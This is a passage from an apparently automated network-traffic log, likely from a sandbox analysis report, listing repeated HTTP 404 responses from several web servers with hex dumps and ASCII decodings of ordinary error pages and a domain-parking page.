3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif;
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 796date: Wed, 06 Nov 2024 07:40:56 GMTserver: LiteSpeedData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif;
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 796date: Wed, 06 Nov 2024 07:41:01 GMTserver: LiteSpeedData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif;
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 06 Nov 2024 07:41:21 GMTContent-Type: text/htmlContent-Length: 138Connection: closeETag: "669137aa-8a"Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 06 Nov 2024 07:41:24 GMTContent-Type: text/htmlContent-Length: 138Connection: closeETag: "669137aa-8a"Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 06 Nov 2024 07:41:26 GMTContent-Type: text/htmlContent-Length: 138Connection: closeETag: "669137aa-8a"Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 06 Nov 2024 07:41:29 GMTContent-Type: text/htmlContent-Length: 138Connection: closeETag: "669137aa-8a"Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 06 Nov 2024 07:41:35 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeVary: Accept-EncodingContent-Encoding: gzipData Raw: 61 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 8e 4d 0a c2 30 10 85 f7 82 77 18 0f 10 a2 d0 e5 90 8d 28 b8 d0 8d 27 48 9d 31 09 a4 93 12 23 d8 db 9b 6a 0b e2 da a5 ab 61 de cf c7 43 5f ba 68 96 0b f4 6c c9 60 09 25 b2 69 d6 0d 9c 52 81 7d ba 0b a1 7e 8b a8 5f 91 1a 6d 13 0d e3 bd b0 14 ce 06 fd e6 bb 51 15 d4 93 3d b2 6b 68 fa c4 05 79 7c 7a 7a a6 e9 79 c9 4a 29 b0 d0 5b a2 20 0e 4a 02 0a 37 db 46 86 e3 f9 b0 03 2b 04 5b 9f 53 c7 70 cd 81 85 e2 00 9c 73 ca b5 e1 18 94 fa 23 7e 8d 78 02 27 a7 bf a8 24 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: a7M0w('H1#jaC_hl`%iR}~_mQ=khy\|zzyJ)[ J7F+[Sps#~x'$0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 06 Nov 2024 07:41:38 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeVary: Accept-EncodingContent-Encoding: gzipData Raw: 61 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 8e 4d 0a c2 30 10 85 f7 82 77 18 0f 10 a2 d0 e5 90 8d 28 b8 d0 8d 27 48 9d 31 09 a4 93 12 23 d8 db 9b 6a 0b e2 da a5 ab 61 de cf c7 43 5f ba 68 96 0b f4 6c c9 60 09 25 b2 69 d6 0d 9c 52 81 7d ba 0b a1 7e 8b a8 5f 91 1a 6d 13 0d e3 bd b0 14 ce 06 fd e6 bb 51 15 d4 93 3d b2 6b 68 fa c4 05 79 7c 7a 7a a6 e9 79 c9 4a 29 b0 d0 5b a2 20 0e 4a 02 0a 37 db 46 86 e3 f9 b0 03 2b 04 5b 9f 53 c7 70 cd 81 85 e2 00 9c 73 ca b5 e1 18 94 fa 23 7e 8d 78 02 27 a7 bf a8 24 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: a7M0w('H1#jaC_hl`%iR}~_mQ=khy\|zzyJ)[ J7F+[Sps#~x'$0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 06 Nov 2024 07:41:40 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeVary: Accept-EncodingContent-Encoding: gzipData Raw: 61 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 8e 4d 0a c2 30 10 85 f7 82 77 18 0f 10 a2 d0 e5 90 8d 28 b8 d0 8d 27 48 9d 31 09 a4 93 12 23 d8 db 9b 6a 0b e2 da a5 ab 61 de cf c7 43 5f ba 68 96 0b f4 6c c9 60 09 25 b2 69 d6 0d 9c 52 81 7d ba 0b a1 7e 8b a8 5f 91 1a 6d 13 0d e3 bd b0 14 ce 06 fd e6 bb 51 15 d4 93 3d b2 6b 68 fa c4 05 79 7c 7a 7a a6 e9 79 c9 4a 29 b0 d0 5b a2 20 0e 4a 02 0a 37 db 46 86 e3 f9 b0 03 2b 04 5b 9f 53 c7 70 cd 81 85 e2 00 9c 73 ca b5 e1 18 94 fa 23 7e 8d 78 02 27 a7 bf a8 24 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: a7M0w('H1#jaC_hl`%iR}~_mQ=khy\|zzyJ)[ J7F+[Sps#~x'$0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 06 Nov 2024 07:41:43 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeVary: Accept-EncodingData Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 224<html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 06 Nov 2024 07:42:03 GMTServer: ApacheX-ServerIndex: llim604Upgrade: h2,h2cConnection: Upgrade, closeTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8Data Raw: 31 61 39 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 49 53 4f 2d 38 38 35 39 2d 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 77 77 77 2e 63 65 73 61 63 68 2e 6e 65 74 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 20 2f 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 70 69 65 6e 73 61 73 6f 6c 75 74 69 6f 6e 73 2e 63 6f 6d 2f 63 73 73 2f 70 61 72 6b 69 6e 67 32 2e 63 73 73 22 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 45 78 6f 27 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 69 64 3d 22 74 68 65 57 69 64 74 68 22 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 28 73 63 72 65 65 6e 2e 77 69 64 74 68 20 3c 3d 20 34 32 30 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 6d 76 70 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 74 68 65 57 69 64 74 68 27 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 76 70 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 27 63 6f 6e 74 65 6e 74 27 2c 27 77 69 64 74 68 3d 34 30 30 27 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 21 2d 2d 20 63 6c 69 65 6e 74 20 2d 2d 3e 0d 0a 3c 68 65 61 64 65 72 3e 0d 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 65 6e 74 65 72 22 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 3b 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 69 74 6c 65 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 70 69 65 6e 73 61 73 6f 6c 75 74 69 6f 6e 73 2e 63 6f 6d 2
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 06 Nov 2024 07:42:05 GMTServer: ApacheX-ServerIndex: llim605Upgrade: h2,h2cConnection: Upgrade, closeTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8Data Raw: 31 61 39 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 49 53 4f 2d 38 38 35 39 2d 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 77 77 77 2e 63 65 73 61 63 68 2e 6e 65 74 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 20 2f 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 70 69 65 6e 73 61 73 6f 6c 75 74 69 6f 6e 73 2e 63 6f 6d 2f 63 73 73 2f 70 61 72 6b 69 6e 67 32 2e 63 73 73 22 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 45 78 6f 27 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 69 64 3d 22 74 68 65 57 69 64 74 68 22 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 28 73 63 72 65 65 6e 2e 77 69 64 74 68 20 3c 3d 20 34 32 30 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 6d 76 70 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 74 68 65 57 69 64 74 68 27 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 76 70 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 27 63 6f 6e 74 65 6e 74 27 2c 27 77 69 64 74 68 3d 34 30 30 27 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 21 2d 2d 20 63 6c 69 65 6e 74 20 2d 2d 3e 0d 0a 3c 68 65 61 64 65 72 3e 0d 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 65 6e 74 65 72 22 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 3b 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 